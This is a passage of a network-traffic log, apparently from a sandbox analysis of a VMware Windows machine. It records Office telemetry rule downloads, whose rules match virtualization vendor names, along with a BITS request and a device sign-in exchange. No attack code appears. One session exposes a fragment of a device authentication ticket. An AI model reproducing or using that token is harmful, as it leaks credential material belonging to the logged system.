2024-11-30 03:12:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031238Z-174f7845968ljs8phC1EWRe6en00000010m000000000hyev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49786	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6b 4f 45 75 70 71 41 61 4d 45 65 4b 73 31 6b 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 38 37 65 35 39 36 37 34 31 30 62 34 64 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: kOEupqAaMEeKs1kX.1Context: c187e5967410b4d0
2024-11-30 03:12:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6b 4f 45 75 70 71 41 61 4d 45 65 4b 73 31 6b 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 38 37 65 35 39 36 37 34 31 30 62 34 64 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: kOEupqAaMEeKs1kX.2Context: c187e5967410b4d0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:39 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 6b 4f 45 75 70 71 41 61 4d 45 65 4b 73 31 6b 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 38 37 65 35 39 36 37 34 31 30 62 34 64 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: kOEupqAaMEeKs1kX.3Context: c187e5967410b4d0
2024-11-30 03:12:40 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:40 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 54 4d 54 44 79 46 64 46 55 47 4d 69 48 67 6a 44 6e 65 32 66 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: WTMTDyFdFUGMiHgjDne2fw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:40 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031240Z-174f7845968cpnpfhC1EWR3afc00000010d000000000dm07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:40 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91facc7f-401e-0064-1f3e-4054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031240Z-174f7845968kdththC1EWRzvxn0000000d4g00000000dycr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:40 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031240Z-174f7845968nxc96hC1EWRspw800000010fg00000000h3ye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:40 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 953c006d-601e-0070-3311-41a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031240Z-174f78459685726chC1EWRsnbg00000010z0000000005xv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 84052cd8-a01e-000d-592e-41d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031242Z-174f7845968kvnqxhC1EWRmf3g0000000mqg000000005qkf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031242Z-174f78459685m244hC1EWRgp2c00000010rg000000006272 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031242Z-174f7845968zgtf6hC1EWRqd8s0000000tu00000000097u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031242Z-174f78459685m244hC1EWRgp2c00000010t0000000001gmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49800	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:42 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-30 03:12:43 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=84388 Date: Sat, 30 Nov 2024 03:12:42 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031243Z-174f7845968cpnpfhC1EWR3afc00000010fg0000000095dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
